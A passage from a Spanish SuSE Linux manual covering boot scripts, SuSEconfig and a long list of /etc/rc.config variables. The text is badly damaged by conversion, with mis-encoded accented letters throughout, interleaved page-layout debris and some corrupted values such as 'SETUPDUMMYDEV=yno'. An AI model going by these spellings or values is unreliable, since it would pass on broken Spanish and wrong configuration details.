Este script tiene adjudicado ademßs el directorio /sbin/init.d/boot.
d; todos los scripts encontrados, que comiencen con `S', son automßti-
camente ejecutados en el proceso de arranque del sistema. Este es el sitio
ideal para ampliaciones personales, que solo tienen que ser activadas una
vez en el proceso de arranque.
Por ·ltimo se ejecuta el script boot.local .
434
__________________________________________________________________________17.5.__/etc/rc.config______________y_SuSEconfig___*
*______________________
o boot.local
Aquφ se pueden introducir mßs cosas que se deban ejecutar en el arranque,
antes que el sistema entre en uno de los Runlevel; se puede hacer la
comparaci≤n con el fichero AUTOEXEC.BAT bajo DOS.
o boot.setup
Son fijaciones bßsicas que se deben realizar cuando se cambia desde el
single user mode a cualquier otro Runlevel. Aquφ se cargan la distribuci≤n
del teclado y la configuraci≤n de la consola.
o halt
Este script solo se ejecuta entrando en Runlevel 0 o 6. Entonces es ejecu-
tado mediante el nombre halt o el nombre reboot. Dependiendo de c≤mo
se llama a halt , el sistema se reinicializa o se apaga totalmente.
o rc
Es el script superior, el cual es llamado en cada cambio del Runlevel.
Ejecuta los Stop-scripts del Runlevel actual y despuΘs los Start-scripts del
nuevo.
Scripts propios
Se pueden a±adir scripts propios mediante este concepto; un patr≤n estß
preparado en /sbin/init.d/skeleton. Para controlar la ejecuci≤n de un
script propio mediante el /etc/rc.config, se deberφa crear una variable-
<START`> y entonces usarla en el propio script; los parßmetros adicionales
solo se deben introducir en el /etc/rc.config en casos justificados (ver
p. ej. el script /sbin/init.d/gpm).
Ahora se deben crear enlaces desde cada directorio rc al script nuevo, para
que Θste se ejecute cambiando de Runlevel; ver apartado 17.3 en la pßgi-
na 433Cambio del Runlevelsection.17.3. TambiΘn en la misma referencia
se explica la asignaci≤n de nombres a los enlaces. Los detalles tΘcnicos se
describen en la pßgina del manual de init.d (man 7 init.d ).
_______________________________________________________________________________________________________________________
|||||||| || |
|||||||| Elaborando scripts propios hay que tener cuidado ~ un script con fallos || |
|||||||| es capaz de provocar el bloqueo de la computadora; ver apartado 17.2 en || |
|||||||| || |
|||||||| la pßgina 432Los Runlevelsection.17.2, si se diera el caso en que deje de || |
|||||||| funcionar el sistema. . . || |
||||||||_______________________________________________________________________________________________________________||_
17.5 /etc/rc.config y SuSEconfig
Prßcticamente toda la configuraci≤n de SuSE Linux se puede realizar medi-
ante el fichero de configuraci≤n central /etc/rc.config. Este fichero con-
tiene una serie de variables de entorno que son evaluadas por los spripts de
inicializaci≤n (ingl. init scripts). Cada uno de los scripts en /sbin/init.d
carga como primer fichero /etc/rc.config para acoger los valores actuales
de cada variable.
*
* 435
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Desde SuSE Linux 6.0 hay ciertos paquetes con amplias posibilidades *
* |||
| de configuraci≤n, cuyas variables se traspasan a ficheros individuales *
* |||
| *
* |||
| en el directorio /etc/rc.config.d; algunos ejemplos son el paquete *
* |||
| sendmail o elpaquete i4l (RDSI). *
* |||
| *
* |||
| *
* |||
| íNo obstante en este apartado se considera generalmente que todas las *
* |||
| *
* |||
| variables se encuentran en /etc/rc.config! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Ademßs se pueden generar muchos mßs ficheros de configuraci≤n del sistema
en dependencia de /etc/rc.config; de esto se encarga /sbin/SuSEconfig .
Asφ p. ej. , despuΘs de un cambio en la configuraci≤n de la red se genera de
nuevo el fichero /etc/resolv.conf, porque depende de la manera de c≤mo
estΘ configurado.
Entonces si se realizan cambios en /etc/rc.config, se debe ejecutar poste-
riormente SuSEconfig , para asegurar, que los datos prefijados act·en en todos
los sitios correspondientes. Si se cambia la configuraci≤n con YaST , entonces
no hay que preocuparse expresamente de esto; YaST ejecuta automßtica-
mente SuSEconfig , con lo cual se actualizan los ficheros correspondientes.
Este concepto permite realizar cambios fundamentales en la configuraci≤n
de la computadora, sin necesidad de arrancar de nuevo; no obstante algunos
cambios son muy profundos y, seg·n las circunstancias, algunos programas
tienen que ser arrancados nuevamente. Este procedimiento se describe p. ej.
en la configuraci≤n de la red (ver apartado 5.2 en la pßgina 157Configuraci≤n
manual de la red ~ ┐D≤nde tocar?section.5.2), donde con la utilizaci≤n de los
comandos
tierra: # /sbin/init.d/network stop
tierra: # /sbin/init.d/network start
se conseguφa que los programas afectados por los cambios se arrancaran de
nuevo. Como se puede observar, los Init-scripts tambiΘn pueden ser ejecuta-
dos manualmente.
Generalmente para la configuraci≤n del sistema se aconseja el siguiente pro-
cedimiento:
o Conmutar el sistema en el ''single user mode'':
tierra: # init S
Alternativamente se puede usar el Runlevel 1, el cual permite ademßs
realizar un login desde varias consolas:
tierra: # init 1
o Realizar los cambios requeridos en el fichero de configuraci≤n /etc/rc.
config. Esto se puede hacer con cualquier editor o con YaST bajo el
punto `Modificar fichero de configuraci≤n' (ver apartado 17.6
en la pßgina siguiente).
o Ejecutar SuSEconfig , para realizar los cambios en los diferentes ficheros
de configuraci≤n. Esto ocurre automßticamente si el fichero /etc/rc.
config es modificado con YaST .
o Regresar el sistema al Runlevel anterior:
tierra: # init 2
436
___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema___________________*
*______________________
Este procedimiento solo es necesario en caso de cambios amplios en la con-
figuraci≤n del sistema (p. ej. configuraci≤n de la red); para tareas sencillas
de administraci≤n no hace falta entrar en el ''single user mode''; sin embar-
go, asφ se asegura que todos los programas afectados por las modificaciones
arranquen de nuevo.
_______________________________________________________________________________________________________________________||
|||||||| Para desconectar siempre la configuraci≤n automßtica vφa SuSEconfig , se ||| |
|||||||| || |
|||||||| puede activar la variable <ENABLE`SUSECONFIG> en la /etc/rc. || |
|||||||| config (ver la advertencia en en esta pßgina). TambiΘn es posible, medi- || |
|||||||| || |
|||||||| ante variables adecuadas de rc.config deshabilitar la configuraci≤n au- || |
|||||||| tomßtica selectivamente. || |
||||||||_______________________________________________________________________________________________________________||_
17.6 Las variables en /etc/rc.config
A continuaci≤n se comentarßn brevemente los parßmetros individuales del
sistema y sus estados. Si no se trata el fichero de configuraci≤n /etc/rc.
config con YaST , se ha de tener cuidado de anotar un parßmetro vacφo
como dos comillas consecutivas (p. ej. KEYTABLE="" ) y de anotar tambiΘn
los parßmetros que contienen espacios entre comillas. Para variables que se
componen de una palabra no hace falta hacerlo.
En la siguiente descripci≤n, cada parßmetro tiene un valor para explicar las
posibles variaciones:
Configuraciones bßsicas
o ENABLE_SUSECONFIG=yes
Determina si SuSEconfig tiene que realizar una configuraci≤n. No se debe
apagar nunca si se quiere utilizar el soporte de instalaci≤n ;-)
o MAIL_REPORTS_TO=tux
Determina a quiΘn envφa SuSEconfig informes para la administraci≤n del
sistema vφa + E-Mail.
o GMT=-u
Si el Hardware-Reloj estß fijado a GMT (Greenwich Mean Time), se fija
esta variable a -u 4 , sino se deja vacφa. Este ajuste es importante para el
cambio automßtico de tiempo de verano a invierno y viceversa.
o TIMEZONE=CET
La franja horaria donde se vive. Es importante tambiΘn para el cambio
automßtico de tiempo de verano a invierno y viceversa.
o LANGUAGE="german"
Lo define YaST , cuando se ha hecho una modificaci≤n al respecto
con `Eligir el idioma' (ver apartado 3.3.1 en la pßgina 84Definir
el idiomasubsection.3.3.1). El valor que se define aquφ sirve tam-
biΘn de referencia cuando no estßn definidos ni LANG ni las variables
LC_* ; en tal caso el valor indicado se resuelve mediante el fichero
/usr/share/locale/locale.alias.
4 ____________________________________________________
El -u es una abreviatura para universal time.
*
* 437
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
o RC_LANG="de_DE"
Define LANG para locale ; con ello es posible definir un valor por defecto
para los usuarios. Este valor es vßlido hasta el momento en que se definan
algunas variables RC_LC_* especiales.
Las variables tφpicas de rc.config son: RC_LC_ALL (íCon esta ·ltima
se puede sobre-escribir la LC_* tal como la LANG!), RC_LC_MESSAGES ,
RC_LC_CTYPE , RC_LC_MONETARY , RC_LC_NUMERIC , RC_LC_TIME *
* y
RC_LC_COLLATE .
Ver pßgina del manual de locale (man 5 locale ).
o ROOT_USES_LANG="no"
Esto es para definir si tambiΘn se deben usar los ajustes tipo locale para
`root'.
o INIT_SCRIPT_USE_LANG="no"
┐Usarlocale en scripts de tipo init ? Mejor no hacerlo ;-)
o ENABLE_SYSRQ="no"
Observar el interior del kernel; antes de activarlo es imprescindible leer
/usr/src/linux/Documentation/sysrq.txt!
Inicializar hardware local (Teclado, modem, mouse, PCMCIA etc.)
o KEYTABLE=de-latin1-nodeadkeys
Define la distribuci≤n del teclado.
o KBD_NUMLOCK=no
|_____________|BloqnoNumconectar en el proceso de arranque.
o KBD_CAPSLOCK=no
|________________|BloqnoMay·sconectar en el proceso de arranque.
o KBD_TTY="tty1 tty2__tty3__tty4 tty5__tty6"______
El efecto de |B____________l|oqy Num|_____________B|loqseMay·spuede restringir a determinados
TTY's;
"" representa todos los TTY's
o KBD_RATE=30
Determina la velocidad de repetici≤n de teclas. Posibles configuraciones
son de 2 a 30 veces por segundo. Para que tengan efecto los valores
determinados, al mismo tiempo se tiene que determinar el retardo (ver
KBD_DELAY )!
o KBD_DELAY=250
Aquφ se puede introducir el retardo, despuΘs de que entre la funci≤n de
repetici≤n. El valor es en milisegundos, pero los pasos no son muy exac-
tos. TambiΘn se tiene que fijar KBD_RATE !
o CONSOLE_FONT=mr.fnt
La fuente que se debe cargar para la consola. No todas las fuentes sopor-
tan la diΘresis alemana! Con YaST se pueden probar tranquilamente todas
las fuentes y fijar la que mßs guste. Ajustes adicionales se realizan medi-
ante: CONSOLE_SCREENMAP , CONSOLE_UNICODEMAP y CONSOLE_MAGIC *
* .
o MODEM=/dev/ttyS1
La interface a la cual estß conectado el modem. Desde YaST o SuSEc-
onfig se crea un enlace desde /dev/modem al device determinado.
438
___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema___________________*
*______________________
o MOUSE=/dev/ttyS2
La interfaz a la cual estß conectado el mouse. Desde YaST o SuSEconfig
se crea un enlace desde /dev/mouse al device determinado.
o START_GPM=yes
Controla si se inicia el soporte del mouse para la consola; con ello se
puede transferir texto mediante el mouse entre diferentes consolas. GPM
presenta problemas al trabajar con algunos mouse de Bus, por tanto, si
ocurren problemas con el mouse al manejar X, se deberφa dejar de iniciar
GPM o utilizar directamente xdm , ya que en el Runlevel 3 generalmente
no se ejecuta GPM .
o GPM_PARAM=" -t logi -m /dev/mouse"
Los parßmetros para el GPM ; normalmente se abastecen de YaST .
o PCMCIA=i82365
Sirve para ajustar el chipset; valores vßlidos son i82365 o tcic . Si
se define la variable como "" , no arranca el PCMCIA-Subsystem. Es
posible realizar ajustes finos mediante las variables PCMCIA_PCIC_OPTS
y PCMCIA_CORE_OPTS .
o START_ISAPNP=yes
Inicializar ISA PnP durante el arranque.
o INITRD_MODULES="aic7xxx"
Los nombres de los m≤dulos que el kernel debe cargar durante el arranque
(p. ej. para poder acceder al disco duro). Todas las entradas razonables
y necesarias se efect·an durante la instalaci≤n o la actualizaci≤n; ver
apartado 16.2 en la pßgina 411Arrancar con ''initial ramdisk''section.16.2.
o START_KERNELD=yes
Esta opci≤n determina si se inicia automßticamente el daemon del kernel
cuando arranca la computadora o no. Este daemon se encarga de lev-
antar m≤dulos de kernel seg·n necesidad. Con el kernel estßndar actual
(versi≤n 2.2.xx) no se necesita kerneld . ~ En el apartado 13.2 en la
pßgina 351Kmod ~ el ''Kernel Module Loader''section.13.2 hay una in-
troducci≤n corta sobre el concepto de m≤dulos.
Configurar e iniciar servicios de red y locales
o START_LOOPBACK=yes
Determina si se instala una Mini-Red, en la cual se configura el denom-
inado Loopback-Device. Deberφa ser activado ya que muchos programas
necesitan esta funcionalidad 5 .
o CHECK_ETC_HOSTS=yes
Determina si SuSEconfig ha de comprobar y modificar /etc/hosts.
o BEAUTIFY_ETC_HOSTS=no
Si quiere que SuSEConfig se encargue de ordenar /etc/hosts.
o SETUPDUMMYDEV=yno
Determina si el Dummy-Device debe estar instalado; esto es ·til en casos
de conexiones no-permanentes de red (p. ej. SLIP oder PPP), sin embargo,
si tiene una tarjeta Ethernet, a veces esta funci≤n deja de ser ·til.
5 ____________________________________________________
Naturalmente el Kernel debe dar soporte de red l!
*
* 439
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
o CREATE_HOSTCONF=yes
Determina si SuSEconfig ha de comprobar y modificar /etc/host.
conf.
o CREATE_RESOLVCONF=yes
Determina si SuSEconfig ha de comprobar y modificar la /etc/resolv.conf.
Si yes estß activado y una de las variables SEARCHLIST o NAMESERVER
estß vacφa, entonces se supone que ning·n DNS es requerido y /etc/
resolv.confpuede ser borrado. En el caso de que se active no , entonces
se deja /etc/resolv.conf sin modificar.
o NETCONFIG=_0
Determina cußntas tarjetas (u otros dispositivos de red) tiene instalada
la computadora. Aquφ se indica el ejemplo para una tarjeta de red (se
enumeran empezando por 0); en una mßquina con dos tarjetas deberφa
aparecer NETCONFIG="_0 _1" . En una computadora sin tarjeta de red
no se introduce nada.
o IPADDR_0=193.141.17.202
La direcci≤n-IP para la primera tarjeta de red.
o NETDEV_0=eth0
El nombre del primer dispositivo de red (normalmente una tarjeta de red
Ethernet), por esto el valor eth0 . Otros posibles valores son str1 o
plip1 . Si la computadora dispone de mßs de una tarjeta de red, se activan
paralelamente las variables NETDEV`1 hasta NETDEV`3.
o IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255
netmask 255.255.255.192"
El comando de configuraci≤n para el primer dispositivo de red. Se ac-
tiva muy fßcilmente con YaST . Si se tiene mßs de una tarjeta de red se
introducen aquφ las correspondientes variables en la lφnea de comandos.
o NETWORK_0="-net 193.141.17.0"
La direcci≤n de red para la primera tarjeta. Si se utilizan conexiones
Point-To-Point (p. ej. con PLIP) YaST pone esta variable al valor
"-host 193.141.17.202" , que corresponde a la direcci≤n IP de la
contraparte PPP.
o CLOSE_CONNECTIONS=false
Si estß activado true y el ''Runlevel'' es 0 ≤ 6 (halt o reboot ),
/sbin/init.d/route envφa una se±al SIGTERM a todos los procesos
que tienen una conexi≤n ''remote tcp''- o ''udp'' abierta.
o IP_DYNIP=no
Activar el ''dynamic IP patch'' durante el tiempo de arranque; con yes el
script /sbin/init.d/boot libera este parche mediante una entrada en
el sistema de ficheros /proc.
o IP_TCP_SYNCOOKIES=yes
Activar la protecci≤n contra ''Syn Flooding'' (ingl. syn flood protection).
o IP_FORWARD=no
Para que la computadora pase informaci≤n a travΘs de dos interfaces de
red, la variable IP_FORWARD debe estar en yes . Se trata de algo deseado
o quizßs necesario en el caso de un enrutador o para ''Masquerading''.
El script /sbin/init.d/boot pone en funcionamiento ''IP-Forwarding''
mediante una entrada en el sistema de ficheros /proc.
440
___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
*____________________
o FQHOSTNAME=tierra.cosmos.univ
El nombre totalmente cualificado, es decir, el nombre completo com-
puesto de nombre de computadora y nombre de dominio.
o SEARCHLIST=cosmos.univ
Este comando se utiliza para completar un nombre de un Host que
no lo estΘ. Si se utiliza p. ej. el nombre venus, se comprueba si
venus.cosmos.univ es un nombre vßlido para una computadora. Esta
variable tiene que ser suministrada si se quiere utilizar DNS! Como mφni-
mo se debe introducir su nombre de dominio. Se pueden introducir hasta
tres comandos en la ''searchlist'', que deben estar separados por espacios
vacφos.
o NAMESERVER=193.141.17.193
La direcci≤n del Name-Server, la cual pregunta si el nombre de la com-
putadora debe ser convertido en una direcci≤n IP. Se pueden introducir
hasta 3 Nameserver, donde sus direcciones estßn separadas por espacios
vacφos.
Si se quiere utilizar un Nameserver, se debe dar un valor a la variable
SEARCHLIST !
o ORGANIZATION="Duck, Patolandia"
El texto introducido aquφ aparece en cada News-Posting que se envφa
desde la computadora correspondiente.
o NNTPSERVER=sol.cosmos.univ
La direcci≤n del Servidor de Noticias; si se recibe las noticias vφa UUCP
y se almacenan localmente, se debe introducir aquφ localhost .
o IRCSERVER=sol.cosmos.univ
Aquφ se pueden introducir varios IRC-Server (Internet Relay Chat). Los
nombres de los diferentes servidores se separan aquφ mediante espacios.
o START_INETD=yes
Activa el ''s·per-daemon'' del tipo inetd , que reacciona frente a peticiones
de conexi≤n por parte de otras computadoras e inicia, seg·n el puerto
elegido, el servicio correspondiente. Se necesita para poder acceder a la
computadora vφa rlogin o telnet . No obstante, se pone START_INETD en
no , si se quiere usar el xinetd (ver a en esta pßgina).
o START_XINETD=no
Activa el ''s·per-daemon'' xinetd , el inetd extendido (ver en esta pßgina).
Usando este ''extended Internet services daemon'', START_INETD debe
estar seleccionado con el valor no .
o SENDMAIL_xxxx=
El significado de las variables en sendmail se explica en apartado 6.8 en
la pßgina 204Vamos a escribir ~ Configuraci≤n de sendmailsection.6.8.
o START_POSTFIX=no
Activa el servidor de correo postfix . Las variables que le corresponden
son
POSTFIX_CREATECF , POSTFIX_RELAYHOST ,
POSTFIX_MASQUERADE_DOMAIN y POSTFIX_LOCALDOMAINS .
o SMTP=no
Determina si el daemon de Sendmail debe correr. No hace falta activar
*
* 441
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
esta opci≤n si recibe su E-Mail exclusivamente por UUCP, suponiendo
que ejecuta sendmail -q despuΘs de cada recepci≤n de correo (polling),
ya que UUCP llama a rmail y Θste solamente coloca el mensaje adentro
de la cola de recepci≤n pero no lo ''entrega''. En una red, en la que todos
los directorios de recepci≤n de mensajes se montan vφa NFS y donde cada
computadora no tiene mßs que mensajes salientes, esta variable tambiΘn
puede estar en no ; lo mismo es vßlido usando un ''Relay Hosts''.
o START_PORTMAP=no
La variable determina si el ''Portmapper'' (mapeador de puertos) debe
arrancar, lo que hace falta si la computadora debe actuar como servi-
dor NFS (ver apartado 5.5 en la pßgina 168NFS ~ sistemas de ficheros
distribuidossection.5.5). Sin el Portmapper no se pueden arrancar los
daemons rpc.mountd y rpc.nfsd , por lo que el Portmapper se inicia tam-
biΘn cuando esta variable vale no con NFS_SERVER activado. El Portmap-
per tambiΘn es necesario para usar NIS (ver apartado 5.4 en la pßgi-
na 166NIS, las pßginas amarillas del LANsection.5.4).
o NFS_SERVER=no
Poner esta variable en yes para que la computadora act·e como servidor
NFS. El efecto es el inicio de lo daemons rpc.nfsd y rpc.mountd . Hay
mßs explicaciones detalladas sobre el funcionamiento de un servidor NFS
(p. ej. la definici≤n de los directorios a exportar) en al apartado 5.5 en la
pßgina 168NFS ~ sistemas de ficheros distribuidossection.5.5.
o REEXPORT_NFS=no
Poner el valor de esta variable a yes , para poder reexportar directorios
montados del tipo NFS o NetWare.
o NFS_SERVER_UGID=yes
Aquφ se determina si el daemon para la conversi≤n de los IDs de usuario
y grupo (rcp.ugidd ) se debe activar; hay que activar este servicio sobre el
cliente NFS en cuesti≤n.
o USE_KERNEL_NFSD="no"
Es posible usar el daemon NFS basado en el kernel, si el paquete knfsd
estß instalado. Este daemon permite ''Locking''; ver la variable correspon-
diente USE_KERNEL_NFSD_NUMBER .
o START_AMD=no
Iniciar el Automounter; si no existen buenas razones para ello, es preferi-
ble usar el m≤dulo del kernel autofs (ver mßs abajo en esta pßgina).
o START_AUTOFS=no
Este daemon permite montar automßticamente directorios locales (lec-
tores CD-ROM, Disqueteras, etc.) al igual que aquellos que se accedan
vφa NFS. El paquete autofs, serie n debe estar instalado y configurado.
o START_RWHOD=no
Decide sobre el arranque de rwhod . Se debe tener cuidado, ya que el
rwhod envφa continuamente ''Broadcasts'' que pueden provocar costes si
se levantan conexiones por demanda de RDSI y/o diald .
o START_ROUTED=no
Este daemon de encaminar (ingl. route daemon) solo se necesita para el
''routing'' dinßmico (ver pßgina del manual de routed (man routed )).
442
___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
*____________________
íAtenci≤n! se trata de un servicio que provoca trßfico de red cada 30 se-
gundos. Por eso carece completamente de sentido activar la opci≤n con
yes si la computadora estß conectada a Internet por Dialup (p. ej. RDSI).
o START_NSCD=yes
Iniciar durante el arranque el daemon NSCD (ingl. Name Service Caching
Daemon).
o START_NAMED=no
Determina si arranca o no el daemon de nombre.
o CREATE_YP_CONF=yes
Aquφ se define si SuSEconfig debe generar automßticamente los ficheros
necesarios para el uso de YP (ver apartado 5.4 en la pßgina 166NIS,
las pßginas amarillas del LANsection.5.4) . Ademßs se adaptan seg·n
necesidad los ficheros de configuraci≤n /etc/passwd y /etc/group.
o YP_DOMAINNAME=cosmos.univ
El nombre de dominio YP de la computadora. Hay informaci≤n mßs
detallada en el apartado 5.4 en la pßgina 166NIS, las pßginas amarillas
del LANsection.5.4.
o YP_SERVER=sol.cosmos.univ
El nombre del servidor NIS.
o USE_NIS_FOR_RESOLVING=no
Usar o no usar NIS para resolver los nombres de las computadores.
o START_CIPED=no
Iniciar el daemon CIPE para un t·nel IPIP.
o START_DHCPD=no
Iniciar el servidor de DHCP (ingl. Dynamic Host Configuration Proto-
col). A esta configuraci≤n pertenecen las variables DHCPD_INTERFACE ,
START_DHCRELAY y DHCRELAY_SERVERS .
o START_LDAP=no
Iniciar el servidor LDAP.
o START_RADIUSD=yes
Iniciar Radius-Accounting y Authentication Service. Existen p. ej. deter-
minados servidores Dialin que usan este servicio para la autentificaci≤n
de usuario; ver la documentaci≤n en /usr/doc/packages/radiusd.
o START_LPD=yes
Iniciar el daemon de impresi≤n lpd (ingl. Line Printer Daemon), que se
necesita generalmente para imprimir.
o START_NNTPD=yes
Iniciar nntpd , que permite el acceso a noticias locales vφa NNTP.
o START_INN=no
Iniciar servidor de noticias INN.
o START_ATD=yes
Con esta variable se puede iniciar el daemon AT. Este permite ejecutar
ciertas tareas en un determinado momento. En comparaci≤n al daemon
Cron, se trata de una acci≤n que se realiza una sola vez.
o START_HTTPD=yes
Indica si se debe iniciar el daemon http Apache.
*
* 443
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
o START_HTTPSD=yes
Determina si se debe iniciar el servidor web ''seguro'' Apache-httpsd us-
ando SSL y PHP3.
o START_SQUID=no
Indica si Squid debe iniciarse.
o DOC_HOST=""
Si existe un servidor central con documentaci≤n que contiene el sistema
de ayuda de SuSE , se deberφa indicar aquφ el nombre del mismo p. ej.
"sol.cosmos.univ" .
o DOC_SERVER=no
El servidor que lleva la documentaci≤n debe tener esta variable definida
en yes . En este caso el acceso a http-rman se otorga en funci≤n de
las indicaciones en DOC_ALLOW (ver la pr≤xima variable) y los ficheros
de φndice del servidor se reconfiguran al respecto. En lugar de indicar
http://localhost indicarßn http://`hostname-f`.
o DOC_ALLOW="LOCAL"
Lista de las computadoras o de los dominios como plantilla de /etc/
hosts.allow, para determinar aquellas que tienen acceso al servidor de
documentaci≤n. La variable solo se contempla cuando DOC_SERVER
estß en yes . TambiΘn es posible indicar un sub-dominio (p. ej.
".cosmos.univ" ).
o HTTP_PROXY=""
Hay algunos programas (p. ej. lynx , arena o wget ) que son capaces de
usar un servidor proxy si esta variable estß configurada al respecto.
SuSEconfig puede definirla en /etc/SuSEconfig/* (ver en el banco de
datos de soporte SDB
http://sdb.suse.de/sdb/de/html/lynx_proxy.html). Ejemplo:
"http://proxy.provider.de:3128/" .
o FTP_PROXY=""
Proxy para FTP. Ejemplo: "http://proxy.provider.de:3128/" .
o GOPHER_PROXY=""
Proxy para Gopher. Ejemplo: "http://proxy.provider.de:3128/" .
o NO_PROXY=""
Con esta variable es posible excluir sub-dominios del proxy. Ejemplo:
"www.me.de, do.main, localhost" .
o START_HYLAFAX=no
Con esa variable se inicia Hylafax. Antes de ponerla en yes hay que
ejecutar faxsetup .
o START_SMB=no
Iniciar el servidor Samba, que es un servidor de ficheros y de impresi≤n
para clientes Windows.
o START_MARSNWE=no
Indica si se debe iniciar la emulaci≤n de servidor de Novell
o START_SSHD=yes
Iniciar el ''Secure Shell Daemon''; antes de iniciarlo asegure la existencia
de un ''host key'' ~ ver la documentaci≤n en /usr/doc/packages/ssh
y las Manpages.
444
___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
*____________________
o START_XNTPD=yes
Inicia el ''Network Time Protocol (NTP) Daemon'' del paquete xntp; la
configuraci≤n misma se realiza en el fichero /etc/ntp.conf.
Los relojes de ajuste automßtico vφa onda electromagnΘtica (''Reloj at≤mi-
co'') tienen direcciones IP de la forma wert127.127.T.U. T representa el
tipo de reloj y U es el n·mero de unidad entre 0 y 3 . ~ La mayorφa de
estos relojes necesitan un puerto serie o un bus especial. El fichero de
dispositivo previsto para ello (+ Dispositivo) se indica normalmente con
un enlace simb≤lico /dev/device-U hacia el hardware real. U debe co-
incidir con el n·mero de unidad mencionado anteriormente; ver tambiΘn
/usr/doc/packages/xntp/html/refclock.htm.
Ejemplo: Teniendo un ''reloj at≤mico'', que se conecta al puerto serie,
se debe establecer el enlace simb≤lico correspondiente. El nombre del
mismo se indica en refclock.htm. ~ El driver ''PARSE'' se encarga de
los receptores de onda tφpicos del tipo DCF77.
## Type 8 Generic Reference Driver (PARSE)
## Address: 127.127.8.u
## Serial Port: /dev/refclock-u
Si se selecciona p. ej. server 127.127.8.0 mediante una entrada en
ntp.conf, tambiΘn hace falta definir un enlace simb≤lico de /dev/
refclock-0 a ttySx; x representa aquφ la interfaz usada para la conex-
i≤n.
o XNTPD_INITIAL_NTPDATE=""
Lista de los servidores NTP que proporcionan la hora antes de iniciar
el servidor local; p. ej. "sol.cosmos.univ". Cuando se indican varios
servidores es necesario separarlos con un espacio.
o DISPLAYMANAGER=""
Define si el ''login'' se realiza en la consola de texto o en modo grßfico
con el sistema X Window. Los valores admitidos son xdm (administrador
de ventanas estßndar del sistema X Window), kdm (administrador de ven-
tanas estßndar de KDE) o "" . En el ·ltimo caso se supone que no se desea
un login grßfico y por tanto la computadora se inicia en el nivel de ejecu-
ci≤n 2 (ingl. Runlevel 2), usando como configuraci≤n predeterminada la
consola de texto.
o KDM_SHUTDOWN=root
Indica cußles son los usuarios que tienen el derecho de apagar (Reboot o
Shutdown) la computadora a travΘs de kdm.
Los valores admitidos son root (`root' tiene que identificarse con su
contrase±a), all (todos los usuarios), none (nadie puede apagar la com-
putadora vφa kdm) y local (solo hay permiso de parar la computadora si
el usuario ha entrado al sistema desde la consola y no a travΘs de la red).
Si se indica "" , se usa root como el valor por defecto.
o CONSOLE_SHUTDOWN=reboot
Aquφ se determina el comportamiento del__proceso_ init respecto_ a__la___
introducci≤n de la combinaci≤n de teclas |C__________o|ntrol+ |A____l|t+ |S_______u|ppr. Los
valores admitidos son: reboot (la computadora cierra el sistema y se
reinicia), halt (la computadora se para y seg·n el tipo tambiΘn se apaga)
*
* 445
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
e ignore (apretar la combinaci≤n de teclas no tiene ning·n efecto). La
variable estß por defecto en reboot .
o START_AXNET=no
Servidor para Applixware.
o START_MYSQL=no
Servidor para MySQL .
o START_ADABAS=no
Servidor para el programa Adabas , al cual pertenecen las siguientes vari-
ables: DBROOT , DBNAME , DBUSER y DBCONTROL ~ ver los comentarios al
respecto en rc.config.
o START_DB2=no
Servidor para DB2.
o START_ARKEIA=no
Iniciar el servidor de respaldo Arkeia .
o START_ARGUS=no
Servidor para Argus (monitor de red).
o ARGUS_INTERFACE=eth0
La interfaz que Argus debe ''vigilar''.
o ARGUS_LOGFILE="/var/log/argus.log"
El fichero de registro de Argus . íPuede llegar a tener un tama±o muy
grande!
o CRON=yes
Manipula el inicio y la terminaci≤n del daemon cron. íEste daemon inicia
automßticamente programas a una determinada hora y solamente se puede
iniciar en los niveles de ejecuci≤n 2 y 3! Se recomienda encarecidamente
su uso en computadoras que estßn en funcionamiento las 24h del dφa. El
daemon AT es una alternativa o un suplemento (ver en la pßgina 443Con-
figurar e iniciar servicios de red y localesHfootnote.77).
________________________________________________________________________________________________________*
*________
| Hay una serie de opciones que requieren la ejecuci≤n peri≤dica de deter- *
* ||||
| *
* |||
| minados programas. Es por eso que el daemon cron debe estar activado en *
* |||
| todos los sistemas. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Seguridad y servicios de mantenimiento locales
o RUN_UPDATEDB=yes
Determina si se debe actualizar una vez por noche el banco de datos
para el programa locate (locate ); locate sirve para encontrar rßpida-
mente ficheros en el sistema. Es posible adaptar el servicio updatedb a las
necesidades con las variables RUN_UPDATEDB_AS , UPDATEDB_NETPATHS ,
UPDATEDB_NETUSER y UPDATEDB_PRUNEPATHS (ver los comentarios
en rc.config). ~ Si la computadora no estß continuamente encen-
dida, es posible que esta actualizaci≤n se lleve a cabo poco despuΘs
del inicio de la misma (ver apartado 16.6.1 en la pßgina 429paquete
cronsubsection.16.6.1.
o REINIT_MANDB=yes
Activar esta opci≤n si se quiere que cron.daily actualice diariamente el
banco de datos de las Manpages.
446
___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
*____________________
o CREATE_INFO_DIR=yes
Determina si se debe generar automßticamente el fichero /usr/info/
dir que contiene un φndice de todas las pßginas de informaci≤n existentes.
Es especialmente interesante cuando se ha instalado un paquete que con-
tiene una pßgina del tipo Info. íTenga en cuenta que se debe instalar perl
para aprovechar esta caracterφstica!
o CHECK_PERMISSIONS=set
Esta variable determina si las autorizaciones de un fichero se comprueban
mediante la informaci≤n en /etc/permissions. Definiendo set se cor-
rigen las configuraciones falsas, con warn solo aparecen ''Advertencias'',
y con no se apaga esta caracterφstica.
o PERMISSION_SECURITY="easy local"
Hay tres niveles de seguridad preparados /etc/permissions.paranoid,
/etc/permissions.secure y /etc/permissions.easy. Indicar
aquφ easy , secure o /etc/permissions.paranoid . Se puede definir
una configuraci≤n propia p. ej. en /etc/permissions.local e indicarla
